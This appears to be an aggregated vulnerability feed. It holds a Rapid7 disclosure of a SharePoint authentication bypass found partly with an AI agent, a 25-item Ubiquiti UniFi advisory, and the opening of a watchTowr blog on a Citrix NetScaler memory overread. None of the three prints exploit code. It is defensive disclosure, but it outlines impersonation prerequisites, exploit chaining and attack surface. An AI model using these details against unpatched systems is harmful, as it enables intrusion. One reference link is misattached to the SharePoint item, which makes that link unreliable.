CVE-2026-55040 has a CVSSv3.1 score of 9.1 (Critical), and a Common Weakness Enumeration (CWE) of CWE-1390: Weak Authentication.

Product description

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Impact

By leveraging CVE-2026-55040, a remote unauthenticated attacker can assume the identity of any SharePoint site user; the prerequisite is the attacker must know in advance the user they wish to identify as. This can be achieved in a number of ways, including via a user’s Active Directory (AD) Security ID (SID), or via a user’s AD User Principal Name (UPN). A UPN is the primary logon name for a user in either Windows AD or Microsoft Entra ID, and is formatted similar to that of an email address, e.g. [email protected].

In the example screenshot below, with identifying information redacted, a Rapid7 Labs proof-of-concept script discovers potential SharePoint users via SID enumeration and then leverages CVE-2026-55040 to bypass authentication on the target SharePoint site to assume the identity of that user — ultimately identifying the SharePoint site administrator user account.

Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

⠀

An attacker who successfully exploits CVE-2026-55040 can perform operations against the target SharePoint site as the user they identify as. Furthermore, this authentication bypass can be chained to additional vulnerabilities within the authenticated attack surface of the target site.

Rapid7 Labs has chained the authentication bypass CVE-2026-55040 with a separate RCE vulnerability for unauthenticated RCE. Patching CVE-2026-55040 will successfully break this exploit chain; this underscores the importance of patching vulnerabilities such as authentication bypasses, which can break complex and high-impact exploit chains. The RCE component has been disclosed to Microsoft and is expected to be patched in the scheduled August patch cycle.

Leveraging AI

To develop our SharePoint exploit chain, Rapid7 Labs undertook a research project divided into two main sprints, the first in January and the second in March, 2026. While both sprints did encompass more traditional vulnerability research such as manual code review and reverse engineering, a significant amount of the work was undertaken through an agent. Over 24 active days of agentic work, we leveraged 96 sessions, issued 256 prompts, and generated approximately 80,000 agentic tool calls.

The initial January sprint was unsuccessful, resulting in no findings that could be leveraged for an exploit chain. We used this sprint to experiment with several different publicly available models, along with different workflows to navigate and reason across a massive and complex codebase. However, our second sprint in March was successful and yielded, through a heavily prompted agent, a two-vulnerability exploit chain that achieved unauthenticated RCE.

The improvement in quality between January and March in terms of agentic work, along with our improved workflows, was noticeable. This highlights the speed at which this field is evolving, how publicly available models are improving, and how as research teams develop their workflows, the results begin to compound.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

Rapid7 will be publishing full technical details for CVE-2026-55040 within 30 days of this disclosure.

Customers are advised to apply the latest available updates for the impacted product to ensure they are protected.

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-55040 with Authenticated vulnerability checks available in the July 14 content release

Disclosure timeline

• May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.

• May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles - the authentication bypass component in July, and the RCE component in August.

• May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.

• May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.

• June 30, 2026: Rapid7 requests supporting information for the upcoming disclosure.

• June 30, 2026: Microsoft provides supporting information to Rapid7.

• July 14, 2026: This disclosure for CVE-2026-55040.

• July 14, 2026: The blog is updated to reflect that Microsoft’s published advisory now scores CVE-2026-55040 as critical severity, rather than medium severity.

---

Related vulnerabilities: CVE-2026-55040

Reference: https://community.ui.com/releases/Security-Advisory-Bulletin-066-066/984eceb3-49c8-4227-942d-671c289b3afc

Overview

Published: July 2, 2026

Version: 1.0

Revision: 1.0

Summary 1 of 25

A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Connect Application to execute a Command Injection on the host device.

Affected Products:

UniFi Connect Application (Version 3.4.16 and earlier)

Mitigation:

Update your UniFi Connect Application to Version 3.4.20 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 10.0 Critical

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE: CVE-2026-50746 (Duc Anh Nguyen (@heckintosh_))

Summary 2 of 25

A malicious actor with access to the network and low privileges could exploit a series of authenticated SQL Injection vulnerabilities found in UniFi Talk Application to escalate privileges on the host device.

Affected Products:

UniFi Talk Application (Version 5.1.2 and earlier)

Mitigation:

Update your UniFi Talk Application to Version 5.2.2 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 9.9 Critical

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE: CVE-2026-50747 (Abdulaziz Almadhi | Catchify Security)

Summary 3 of 25

A malicious actor with access to the network and low privileges could exploit an Improper Input Validation vulnerability found in UniFi Access Application to execute a Command Injection on the host device.

Affected Products:

UniFi Access Application (Version 4.2.28 and earlier)

Mitigation:

Update your UniFi Access Application to Version 4.2.29 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 9.9 Critical

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE: CVE-2026-50748 (Abdulaziz Almadhi | Catchify Security)

Summary 4 of 25

A malicious actor with access to the network and high privileges could exploit an Improper Access Control vulnerability found in UniFi Access Application to escalate privileges on the host device.

Affected Products:

UniFi Access Application (Version 4.2.28 and earlier)

Mitigation:

Update your UniFi Access Application to Version 4.2.29 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 9.1 Critical

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE: CVE-2026-54400 (Abdulaziz Almadhi | Catchify Security)

Summary 5 of 25

A malicious actor with access to the network and low privileges could exploit a Server-Side Request Forgery (SSRF) to escalate privileges within such UniFi OS devices or instances.

Affected Products:

UniFi OS Server, UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, UDM-Beast, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber (Version 5.1.15 and earlier)

UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 (Version 5.1.16 and earlier)

EF-Core (Version 5.1.18 and earlier)

Mitigation:

Update your UniFi OS Server, UDM, UDM-Beast, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber to Version 5.1.19 or later.

Update your UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 to Version 5.1.19 or later.

Update your EF-Core to Version 5.1.19 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 7.7 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE: CVE-2026-54401 (Kerolos Sameh | oathnet.org)

Summary 6 of 25

A malicious actor with access to the network and low privileges could exploit an Improper Input Validation vulnerability found in UniFi OS to execute a Command Injection on the host device.

Affected Products:

UniFi OS Server, UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, UDM-Beast, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber (Version 5.1.15 and earlier)

UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 (Version 5.1.16 and earlier)

EF-Core (Version 5.1.18 and earlier)

Mitigation:

Update your UniFi OS Server, UDM, UDM-Beast, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber to Version 5.1.19 or later.

Update your UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 to Version 5.1.19 or later.

Update your EF-Core to Version 5.1.19 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 9.9 Critical

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE: CVE-2026-54402 (arqblasta)

Summary 7 of 25

A malicious actor with access to the network could exploit a Path Traversal vulnerability found in certain devices running UniFi OS to bypass authentication of such UniFi OS devices or instances.

Affected Products:

UniFi OS Server, UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, UDM-Beast, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber (Version 5.1.15 and earlier)

UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 (Version 5.1.16 and earlier)

EF-Core (Version 5.1.18 and earlier)

Mitigation:

Update your UniFi OS Server, UDM, UDM-Beast, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber to Version 5.1.19 or later.

Update your UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 to Version 5.1.19 or later.

Update your EF-Core to Version 5.1.19 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 8.6 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE: CVE-2026-54403 (Griffin Francis & Adrian Wood)

Note: This CVE can be chained with other vulnerabilities to eliminate the requirement for low-privileged access.

Summary 8 of 25

A malicious actor with access to the network and low privileges could exploit a series of authenticated SQL Injection vulnerabilities found in UniFi OS to escalate privileges within such UniFi OS devices or instances.

Affected Products:

UniFi OS Server, UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, UDM-Beast, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber (Version 5.1.15 and earlier)

UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 (Version 5.1.16 and earlier)

EF-Core (Version 5.1.18 and earlier)

Mitigation:

Update your UniFi OS Server, UDM, UDM-Beast, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber to Version 5.1.15 or later.

Update your UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 to Version 5.1.16 or later.

Update your EF-Core to Version 5.1.19 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 8.8 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE: CVE-2026-54404 (Garett Kopcha (0x5t))

Summary 9 of 25

A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi Network Application to execute a Denial of Service (DoS) attack on the application.

Affected Products:

UniFi Network Application (Version 10.3.58 and earlier)

Mitigation:

Update your UniFi Network Application to Version 10.4.57 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 7.5 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE: CVE-2026-54405 (Dries from UniHosted)

Summary 10 of 25

A malicious actor with access to the network and high privileges could exploit a Path Traversal vulnerability found in self-hosted instances of UniFi Network Application to escalate write permission on the host device.

Affected Products:

UniFi Network Application (Version 10.3.58 and earlier)

Mitigation:

Update your UniFi Network Application to Version 10.4.57 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 8.7 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H

CVE: CVE-2026-54406 (Garett Kopcha (0x5t))

Summary 11 of 25

A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect Application to bypass authentication in certain UniFi Protect Application API endpoints.

Affected Products:

UniFi Protect Application (Version 7.1.77 and earlier)

Mitigation:

Update your UniFi Protect Application to Version 7.1.83 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 8.6 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

CVE: CVE-2026-54407 (Abdulaziz Almadhi / Catchify Security Team)

Summary 12 of 25

A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect Application to bypass authentication for data streaming.

Affected Products:

UniFi Protect Application (Version 7.1.77 and earlier)

Mitigation:

Update your UniFi Protect Application to Version 7.1.83 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 8.6 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

CVE: CVE-2026-54408 (Brandon Rossi)

Summary 13 of 25

A malicious actor with access to the network and under certain conditions could exploit an Improper Initialization vulnerability found in UniFi Protect Application to bypass authentication in UniFi Protect Cameras.

Affected Products:

UniFi Protect Application (Version 7.1.77 and earlier)

Mitigation:

Update your UniFi Protect Application to Version 7.1.83 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 7.5 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE: CVE-2026-54409 (Michał Suda (klumz33))

Summary 14 of 25

A malicious actor who lures an authenticated user to a malicious page could exploit a Cross-Origin Resource Sharing (CORS) misconfiguration found in UniFi OS to trigger actions in UniFi OS using that user's session.

Affected Products:

UniFi OS Server, UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, UDM-Beast, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber (Version 5.1.15 and earlier)

UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 (Version 5.1.16 and earlier)

EF-Core (Version 5.1.18 and earlier)

Mitigation:

Update your UniFi OS Server, UDM, UDM-Beast, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber to Version 5.1.15 or later.

Update your UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 to Version 5.1.16 or later.

Update your EF-Core to Version 5.1.19 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 7.5 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE: CVE-2026-55110 (Andy Gill, ZephrSec Ltd)

Summary 15 of 25

A malicious actor with access to the network could exploit a Path Traversal vulnerability found in UniFi Protect Floodlight devices to access files on the UniFi Protect Floodlight.

Affected Products:

UniFi Protect Floodlight(Version 1.13.4 and earlier)

Mitigation:

Update your UniFi Protect Floodlight to Version 1.13.6 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 7.5 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE: CVE-2026-55111 (Logan Fernandez (enzyme0))

Summary 16 of 25

A malicious actor with access to the network and low privileges and under certain conditions could exploit an Improper Access Control vulnerability found in UniFi OS with UniFi Protect Application to escalate privileges on the host device.

Affected Products:

UDM-Pro, UDM-SE, UDM-Pro-Max, UDM-Beast, UDW, UDR, UDR7, UDR-5G, UCKP, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Max, UCG-Industrial and UCG-Fiber (Version 5.1.15 and earlier)

Mitigation:

Update your UDM-Pro, UDM-SE, UDM-Pro-Max, UDM-Beast, UDW, UDR, UDR7, UDR-5G, UCKP, UNVR, UNVR-Pro, UNVR-Instant, ENVR, ENVR-Core, UNVR-G2, UNVR-G2-Pro, UCG-Max, UCG-Industrial and UCG-Fiber to Version 5.1.19 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 7.5 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE: CVE-2026-55112 (Brandon Rossi)

Summary 17 of 25

A malicious actor with access to the network could exploit a Server-Side Request Forgery (SSRF) vulnerability found in UniFi Talk Application to execute a Denial of Service (DoS) attack and bypass authentication in certain UniFi Talk API endpoints.

Affected Products:

UniFi Talk Application (Version 5.1.2 and earlier)

Mitigation:

Update your UniFi Talk Application to Version 5.2.2 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 7.5 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H

CVE: CVE-2026-55113 (Duc Anh Nguyen (@heckintosh_))

Summary 18 of 25

A malicious actor with access to the network and low privileges could exploit an Improper Access Control vulnerability found in UniFi Network Application to escalate privileges within the UniFi Network Application.

Affected Products:

UniFi Network Application (Version 10.3.58 and earlier)

Mitigation:

Update your UniFi Network Application to Version 10.4.57 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 8.8 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE: CVE-2026-55114 (Corbett3000)

Summary 19 of 25

A malicious actor with access to the network and low privileges could exploit a Server-Side Request Forgery (SSRF) in UniFi Protect Application to escalate privileges on the host device.

Affected Products:

UniFi Protect Application (Version 7.1.77 and earlier)

Mitigation:

Update your UniFi Protect Application to Version 7.1.83 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 9.9 Critical

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE: CVE-2026-55115 (Brandon Rossi)

Summary 20 of 25

A malicious actor with access to the network and under certain network configurations could exploit an Improper Access Control vulnerability found in certain devices running UniFi OS to make unauthorized changes to such UniFi OS devices.

Affected Products:

UDM, UDM-Beast, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, UDR-5G, Express 7, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber (Version 5.1.15 and earlier)

EF-Core (Version 5.1.18 and earlier)

Mitigation:

Update your UDM, UDM-Beast, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, EF-Core, UDW, UDR, UDR7, UDR-5G, Express 7, UCG-Ultra, UCG-Max, UCG-Industrial and UCG-Fiber to Version 5.1.19 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 9.0 Critical

Vector:

CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE: CVE-2026-55116 (Joseph Semaan)

Summary 21 of 25

A malicious actor with access to the network could exploit a Path Traversal vulnerability found in UniFi Access Application to access files on the host device.

Affected Products:

UniFi Access Application (Version 4.2.28 and earlier)

Mitigation:

Update your UniFi Access Application to Version 4.2.29 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 8.6 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE: CVE-2026-55117 (Brandon Rossi)

Summary 22 of 25

A malicious actor with access to the network,low privileges and under certain conditions could exploit an Improper Access Control vulnerability found in UniFi Network Application to escalate privileges within the UniFi Network Application.

Affected Products:

UniFi Network Application (Version 10.3.58 and earlier)

Mitigation:

Update your UniFi Network Application to Version 10.4.57 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 8.3 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

CVE: CVE-2026-55118 (bs0xx)

Summary 23 of 25

A malicious actor with access to the network and low privileges could exploit an Improper Access Control vulnerability found in UniFi Talk Application to escalate privileges within the UniFi Talk Application.

Affected Products:

UniFi Talk Application (Version 5.1.2 and earlier)

Mitigation:

Update your UniFi Talk Application to Version 5.2.2 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 8.1 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CVE: CVE-2026-55119 (Abdulaziz Almadhi | Catchify Security)

Summary 24 of 25

A malicious actor with access to the network and low privileges could exploit an authenticated SQL Injection vulnerability found in UniFi Protect Application to escalate privileges on the host device.

Affected Products:

UniFi Protect Application (Version 7.1.77 and earlier)

Mitigation:

Update your UniFi Protect Application to Version 7.1.83 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 8.8 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE: CVE-2026-56841 (Abdulaziz Almadhi | Catchify Security)

Summary 25 of 25

A malicious actor with access to the network and under certain conditions could exploit an Incorrect Authorization vulnerability found in UniFi Network Application to persist privileges within UniFi Network Application after such access had been removed.

Affected Products:

UniFi Network Application (Version 10.3.58 and earlier)

Mitigation:

Update your UniFi Network Application to Version 10.4.57 or later.

Impact:

CVSS v3.0 Severity and Metrics:

Base Score: 7.5 High

Vector:

CVSS: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE: CVE-2026-56842 (BugBunny.ai)

Reference Links:

https://community.ui.com/releases/UniFi-Connect-Application-3-24-20/3e2cd403-d021-4d40-8e33-0007e9683d62

https://community.ui.com/releases/UniFi-Talk-Application-5-2-2/f27dcd51-f51b-4bc9-9a7f-ecbb215ceeb1

https://community.ui.com/releases/UniFi-Access-Application-4-2-29/63eac165-b7d4-4c43-8091-55ade3ec73c1

https://community.ui.com/releases/UniFi-Network-Application-10-4-57/92694b29-fd78-4d52-906a-3211136610e2

https://community.ui.com/releases/UniFi-Protect-Application-7-1-83/70e6c6a6-cd7f-43e6-87fc-4d70f0a1d9c6

https://community.ui.com/releases/UniFi-Protect-Floodlight-1-13-6/ff9550e4-5e40-473d-95f0-047de07e87dd

https://community.ui.com/releases/UniFi-OS-Dream-Machines-5-1-19/32c35941-c2b6-4fa2-9e63-09470bfb85f6

https://community.ui.com/releases/UniFi-OS-Enterprise-Firewall-Core-5-1-19/21263def-e96c-47e6-9a75-96293fcb84e0

https://community.ui.com/releases/UniFi-OS-Enterprise-Fortress-Gateway-5-1-19/45d861a0-fd93-43ee-841e-033423b112a2

https://community.ui.com/releases/UniFi-OS-Enterprise-Network-Video-Recorders-5-1-19/ca291ead-bc98-4e8b-bc85-4ec03de3f77d

https://community.ui.com/releases/UniFi-OS-Network-Video-Recorders-5-1-19/0728e007-aedd-4664-a3a1-38661b36f9bb

https://community.ui.com/releases/UniFi-OS-Cloud-Gateways-5-1-19/233f8d0a-9973-4e01-a51e-30713939b240

https://community.ui.com/releases/UniFi-OS-Cloud-Keys-5-1-19/44aabe56-c674-47f7-85f4-d483bb7c5bfe

https://community.ui.com/releases/UniFi-OS-Dream-Wall-5-1-19/c33cde37-ac2e-4015-bcb6-39567448fc35

https://community.ui.com/releases/UniFi-OS-Network-Attached-Storage-5-1-19/553addc7-4444-4eed-b46f-b2ee1f5f2285

https://community.ui.com/releases/UniFi-OS-Dream-Routers-5-1-19/b9ae8a01-9415-496a-92b2-70aa784de65d

https://community.ui.com/releases/UniFi-OS-Express-7-5-1-19/71fbc82e-da12-43df-82a7-6cd5a316e867

https://community.ui.com/releases/UniFi-OS-Server-5-1-19/05db58f8-3306-48dc-bbd8-6cb681046a6d

---

Related vulnerabilities: CVE-2026-55113CVE-2026-55117CVE-2026-50747CVE-2026-56842CVE-2026-54409CVE-2026-55114CVE-2026-54401CVE-2026-55112CVE-2026-55116CVE-2026-54404CVE-2026-54402CVE-2026-54405CVE-2026-55110CVE-2026-55118CVE-2026-55119CVE-2026-54406CVE-2026-50746CVE-2026-54403CVE-2026-54400CVE-2026-54408CVE-2026-50748CVE-2026-55111CVE-2026-55115CVE-2026-54407CVE-2026-56841

CitrixBleed To Infinity And Beyond (Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451)

Well, well, well - once again, the cat has dragged us in and spat us out.

Today, we find ourselves questioning the reality we sit within. Must it be so predictable, and why us? “But watchTowr, what do you mean?”

Well, if you’re here, you likely fit into one of the following categories:

• A dear reader,
• A group therapy accomplice
• A Groundhog Day fan club member

Why? Because we once again find ourselves talking about Citrix NetScalers. Yes, that’s right, we’ve found another excuse to create memes and mock promise rings.

For those that don’t start violently wretching when the phrase “Citrix NetScaler” is uttered, we have another word to whisper: “CitrixBleed”.

As many know, the term CitrixBleed now refers to not a single vulnerability, but an entire class of Memory Disclosure-esque vulnerabilities in Citrix NetScaler devices, many of which have played roles in breaches and incidents in recent memory.

For those new to this trauma, the following prior reading may be of interest:

• How Much More Must We Bleed? - Citrix NetScaler Memory Disclosure (CitrixBleed 2 CVE-2025-5777)
• Is It CitrixBleed4? Well, No. Is It Good? Also, No. (Citrix NetScaler Memory Leak & RXSS CVE-2025-12101)
• The Sequels Are Never As Good, But We're Still In Pain (Citrix NetScaler CVE-2026-3055 Memory Overread)
• Please, We Beg, Just One Weekend Free Of Appliances (Citrix NetScaler CVE-2026-3055 Memory Overread Part 2)

"We told you so”, we want to scream.

Huh? Why? Because, we have constantly reiterated our concern that the Memory Disclosure-esque class of vulnerability appears to be endemic within Citrix NetScaler devices - to the point where we’ve now found further instances either by accident or while analyzing and reproducing another instance of the same vulnerability class in the same appliance a mere few months ago.

Yes, that’s right - today, a Secure By Design promise ring pledge commitment hall-of-famer is back to haunt us as Citrix has now publicly disclosed the zero-day Memory Disclosure vulnerability we reported in March 2026.

We’ve given up counting the numbers, and so we’ve decided to call this vulnerability “CitrixBleed To Infinity And Beyond”:

Referencing what we wrote previously, because it is demonstrably evergreen:

> However, what should be of concern is the bigger picture - the trend, which is very clearly suggesting that memory management continues to appear fragile within Citrix NetScaler appliances, to the extent that even accidentally misconfiguring an appliance can lead to the disclosure of leaked memory.

> It feels like we are playing catch with a highly-sensitive gun that continues to harm innocent bystanders - within, once again, what many will consider a highly-critical appliance and security control.

> Will we see another memory leak vulnerability in Citrix NetScaler? We have no idea. But if we were to meme…

What Is Citrix NetScaler and NetScaler Gateway?

Citrix NetScaler (formally rebranded, then un-rebranded, in the way that only enterprise networking vendors can truly pull off) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network on the planet. NetScaler handles load balancing, SSL offloading, authentication, and remote access - and NetScaler Gateway specifically serves as the front door for thousands of organizations' remote access infrastructure.

It is, in other words, exactly the kind of product we love to look at, while also being a natural disaster.

What Is CVE-2026-8451?

Citrix eloquently describes CVE-2026-8451 as: “Insufficient input validation leading to memory overread”.

Naturally, they’ve assigned CVE-2026-8451 to the vulnerability and rated it a CVSS of 8.8. Of note is that for this vulnerability to be exploitable, matching CitrixBleed3?4?, the NetScaler appliance has to be configured as a SAML IDP.

Within their advisory, Citrix states the following products are affected:

• NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-72.61
• NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.18
• NetScaler ADC FIPS BEFORE 14.1-72.61 FIPS
• NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.272

Let’s dive in.

Hunting (Unfortunately Not) Rare Vulnerabilities

It was a late night in Pallet Town, and we, the intrepid hero, were searching for rare Pokémon vulnerabilities in the long grass of the Citrix NetScaler.

Doing “what we do best”, back in March we found ourselves feverishly analyzing patches and changes to reproduce CVE-2026-3055 aka CitrixBleed4(?) affecting NetScaler’s configured as an IDP provider.

With a NetScaler up and running, configured as an SAML IdP, we skimmed through relevant attack surface. We say skimmed, because in reality, SAML itself doesn't expose a huge amount of functionality for us to poke prod - effectively a handful of authentication endpoints, and not much else (intended, anyway).

Thus, it seemed natural to start at the beginning: /saml/login.

